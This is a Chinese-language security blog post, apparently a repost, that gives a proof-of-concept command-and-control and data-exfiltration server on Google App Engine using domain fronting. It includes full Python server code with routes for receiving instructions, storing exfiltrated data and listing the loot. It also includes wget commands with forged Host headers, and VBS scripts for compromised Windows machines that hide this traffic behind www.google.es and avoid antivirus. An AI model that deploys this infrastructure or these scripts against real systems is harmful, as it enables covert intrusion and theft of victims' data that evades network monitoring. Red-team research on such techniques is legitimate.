使用 GAE C2 服务器的简单域前置 PoC

admin 2024年7月14日18:04:48评论24 views字数 6190阅读20分38秒阅读模式

本文仅用于技术研究学习,请遵守相关法律,禁止使用本文所提及的相关技术开展非法攻击行为,由于传播、利用本文所提供的信息而造成任何不良后果及损失,与本账号及作者无关。

关于无问社区

无问社区致力于打造一个面向于网络安全从业人员的技术综合服务社区,可免费获取安全技术资料,社区内技术资料知识面覆盖全面,功能丰富。

特色功能:划词解析、调取同类技术资料、基于推荐算法,为每一位用户量身定制专属技术资料。

无问社区-官网:http://wwlib.cn

无问社区站内阅读链接:

http://www.wwlib.cn/index.php/artread/artid/6430.html

在本文中,我们继续域前置;在这种情况下,我们将探讨如何在 Google App Engine (GAE) 上实现命令和控制以及外泄服务器的简单 PoC,我们将了解如何使用 VBS 或 PowerShell 脚本从 Windows 进行域前端,以隐藏与 C2 服务器的交互。

目标

当我们准备好一切后,我们将在 myc2server.appspot.com 拥有一个网络服务,我们可以通过以下方式从受感染的 Windows 机器上使用它;我们将有一个命令和控制通道(在路径 /e2e7765b71c1 上,作为身份验证器):

$ wget -qO- https://www.google.es/e2e7765b71c1 --header='Host: myc2server.appspot.com'

外泄通道(针对另一条路径 /858e6f3e2b7b):

$ wget -qO- https://www.google.es/858e6f3e2b7b/datatoexfiltrate --header='Host: myc2server.appspot.com'

最后,一个查询通道(由攻击者用来获取泄露的信息,针对路径 /cf0a5906cadb):

$ wget -qO- https://www.google.es/cf0a5906cadb --header='Host: myc2server.appspot.com'
2017-01-29 18:15:29.672190: foobar1
2017-01-29 18:48:59.218880: datatoexfiltrate
2017-01-29 18:15:35.669210: foobar2
2017-01-29 18:50:59.136870: datatoexfiltrate
2017-01-29 19:03:09.130570: datatoexfiltrate

正如我们所看到的,与服务器的所有交互都伪装成针对 www.google.es 的加密查询。

适用于渗透测试仪的 Google App Engine

首先,我们将在 GAE 中创建应用程序,在使用我们的 Google 帐户登录时转到以下 URL:

https://console.cloud.google.com/project

使用 GAE C2 服务器的简单域前置 PoC

请务必将 myc2server 指定为应用的名称及其 ProjectID;否则,Google 将分配一个随机 ID。

使用 GAE C2 服务器的简单域前置 PoC

为了在 Linux 上开发和部署该应用程序,我们下载了 GAE SDK(我们选择使用 Python,尽管可以使用其他语言,如 Golang、PHP、Java 等):

https://cloud.google.com/sdk/?hl=es

之后,我们把它放在家里,执行 install.sh 脚本,修改PATH和其他必要的元素。接下来,我们需要将 SDK 安装与我们的 Google 帐户相关联。这是通过运行以下命令来完成的:

$ gcloud init

当我们运行它时,网络浏览器打开,我们能够登录并授予 Google App Engine 我们 Google 帐户的必要权限,之后我们将能够列出活动项目(其中包括 myc2server):

$ gcloud projects list
PROJECT_ID NAME PROJECT_NUMBER
myc2server myc2server 123456789123

我们非常简单的应用程序将包含两个文件:app.yaml(YAML 应用程序描述符)和 main.py(Python 源代码):

$ cat app.yaml 
runtime: python27
api_version: 1
threadsafe: true

handlers:
- url: /.*
script: main.app

$ cat main.py
import webapp2
from google.appengine.ext import ndb

class ExfiltratedData(ndb.Model):
date = ndb.DateTimeProperty(auto_now_add=True)
data = ndb.StringProperty(indexed=False)

class CommandControl(webapp2.RequestHandler):
def get(self):
self.response.headers["Content-Type"] = "text/plain"
self.response.write('Your instructions here...')

class Exfiltrate(webapp2.RequestHandler):
def get(self, data):
loot = ExfiltratedData()
loot.data = data
loot.put()

class ShowLoot(webapp2.RequestHandler):
def get(self):
self.response.headers["Content-Type"] = "text/plain"
loot = ExfiltratedData.query().fetch()
for result in loot:
self.response.write("%s: %sn" % (result.date, result.data))

app = webapp2.WSGIApplication([
(r"/e2e7765b71c1", CommandControl),
(r"/858e6f3e2b7b/(.+)", Exfiltrate),
(r"/cf0a5906cadb", ShowLoot),
], debug=True)

正如我们在 app.yaml 文件中看到的那样,我们将所有代码委托给 main.py 文件,该文件将处理所有 URL。至于代码本身,我们可以为 Python 使用不同的开发框架,例如 Django,但对于这个简单的 PoC,我们使用了 webapp2,它默认随 GAE 一起提供。

以下代码定义到不同类的 URL 路由:

app = webapp2.WSGIApplication([
(r"/e2e7765b71c1", CommandControl),
(r"/858e6f3e2b7b/(.+)", Exfiltrate),
(r"/cf0a5906cadb", ShowLoot),
], debug=True)

因此,我们有三个类来处理前面提到的三个渠道(命令和控制、渗透和列表)。外泄 URL 中的“(.+)”告诉 webapp2 它需要 GET 参数(用于自行外泄的信息)。

CommandControl 类仅提供文本模式指令(您还可以提供要执行的编码二进制文件或脚本,或者其他任何内容;我们可以参数化所有内容,以便命令和控制操作员可以轻松添加新指令或工件):

class CommandControl(webapp2.RequestHandler):
def get(self):
self.response.headers["Content-Type"] = "text/plain"
self.response.write('Your instructions here...')

对于外泄部分,我们选择使用一种 GAE 存储机制:Google Cloud Datastore,这是一种弱类型数据存储。

另一种选择是 Google Cloud Storage,它更方便地存储带有泄露信息(例如,整个文件)的二进制 Blob,但它使用起来有点困难,因此我们为 PoC 保持简单。

第一步是定义将存储信息的实体;在我们的例子中,只是一个带有日期和泄露数据的对象:

class ExfiltratedData(ndb.Model):
date = ndb.DateTimeProperty(auto_now_add=True)
data = ndb.StringProperty(indexed=False)

为了存储信息,我们只需实例化类,用通过 GET 参数提供给我们的信息填充它,然后调用 put() 方法:

class Exfiltrate(webapp2.RequestHandler):
def get(self, data):
loot = ExfiltratedData()
loot.data = data
loot.put()

我们将能够直接通过 Google App Engine 开发控制台访问泄露的数据:

使用 GAE C2 服务器的简单域前置 PoC

为了使用代码获取它,我们使用 ExfiltratedData.query()。Fetch() 方法,遍历结果并以文本模式显示它们:

class ShowLoot(webapp2.RequestHandler):

    def get(self):

        self.response.headers["Content-Type"] = "text/plain"

        loot = ExfiltratedData.query().fetch()

        for result in loot:

            self.response.write("%s: %sn" % (result.date, result.data))

要部署 GAE 应用程序,我们 cd 到我们离开 app.yaml 和 main.py 文件的目录,然后运行:

$ gcloud app deploy --project=myc2server
You are creating an app for project [myc2server].
WARNING: Creating an app for a project is irreversible.

Please choose a region for your application. After choosing a region,
you cannot change it. Which region would you like to choose?

[1] europe-west (supports standard)
[2] us-central (supports standard and flexible)
[3] us-east1 (supports standard and flexible)
[4] asia-northeast1 (supports standard and flexible)
[5] cancel
Please enter your numeric choice: 1

Creating App Engine application in project [myc2server] and region [europe-west]
....done.
You are about to deploy the following services:
- myc2server/default/123456789123456 (from [/home/pablo/myc2server/app.yaml])
Deploying to URL: [https://myc2server.appspot.com]

Do you want to continue (Y/n)?

Beginning deployment of service [default]...
File upload done.
Updating service [default]...done.
Deployed service [default] to [https://myc2server.appspot.com]

You can read logs from the command line by running:
$ gcloud app logs read -s default

To view your application in the web browser run:
$ gcloud app browse

从 Windows 进行域前置

要从受感染的 Windows 机器上将 C2 Web 服务与域前置一起使用,我们可以简单地使用 Windows 的 wget 二进制文件,但也许我们最好使用 VBS 脚本或 PowerShell 之类的东西;它们默认在 Windows 上出现,我们可以从内存中执行,避开 AV 并留下小脚步,这是另一个优点。

经过多次测试后,实现域前端的一种方法是使用 InternetExplorer.Application COM 组件的方法 navigate()。这还有一个额外的好处,即当我们实际检测一个完整的 Internet Explorer 时,所有客户端指纹都将是相同的。例如,为了从 C2 服务器获取指令,我们将编写以下 VBS 脚本代码:

Set ie = WScript.CreateObject("InternetExplorer.Application")

ie.Visible = False

ie.Navigate "https://www.google.es/e2e7765b71c1", 14, Null, Null, "Host: myc2server.appspot.com"

Do While ie.Busy

    Wscript.Sleep 100

Loop

wscript.echo(ie.document.body.innerText)

ie.Quit

使用 GAE C2 服务器的简单域前置 PoC

问题的关键在于 navigate() 方法的第五个参数,我们可以在其中放置额外的 HTTP 标头(在本例中,我们修改 Host 标头以实现域前置)。我们可以使用类似的代码在 PowerShell 中实现同样的事情。

我执行了其他测试,例如使用 .NET WebRequest 类,但它仅支持在最新版本的 PowerShell 中设置自定义 Host 标头(似乎不在 2.0 版下)。

Invoke-WebRequest 等函数也是如此。还有其他库和 COM 组件可用于发出 Web 请求,例如 msxml2;我还没有研究他们是否允许域名前置。

VBS 外泄代码非常相似:

Set ie = WScript.CreateObject("InternetExplorer.Application")

ie.Visible = False

ie.Navigate "https://www.google.es/858e6f3e2b7b/datatoexfiltrate", 14, Null, Null,

    "Host: myc2server.appspot.com"

Do While ie.Busy

    Wscript.Sleep 100

Loop

wscript.echo(ie.document.body.innerText)

ie.Quit

无论哪种情况,您看到的都是进出 www.google.com 的 HTTPS 流量及其相应的 DNS 解析:

使用 GAE C2 服务器的简单域前置 PoC

记一次Vcenter 后渗透利用

【蜜罐识别】HW 别在踩蜜罐了!!!

用C编写和编译Shellcode

内网各端口hash传递技巧

无问社区 | 特色功能上新...

加入交流群

使用 GAE C2 服务器的简单域前置 PoC

使用 GAE C2 服务器的简单域前置 PoC

点“阅读原文”,访问无问社区

原文始发于微信公众号(白帽子社区团队):使用 GAE C2 服务器的简单域前置 PoC

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月14日18:04:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   使用 GAE C2 服务器的简单域前置 PoChttps://cn-sec.com/archives/2953042.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息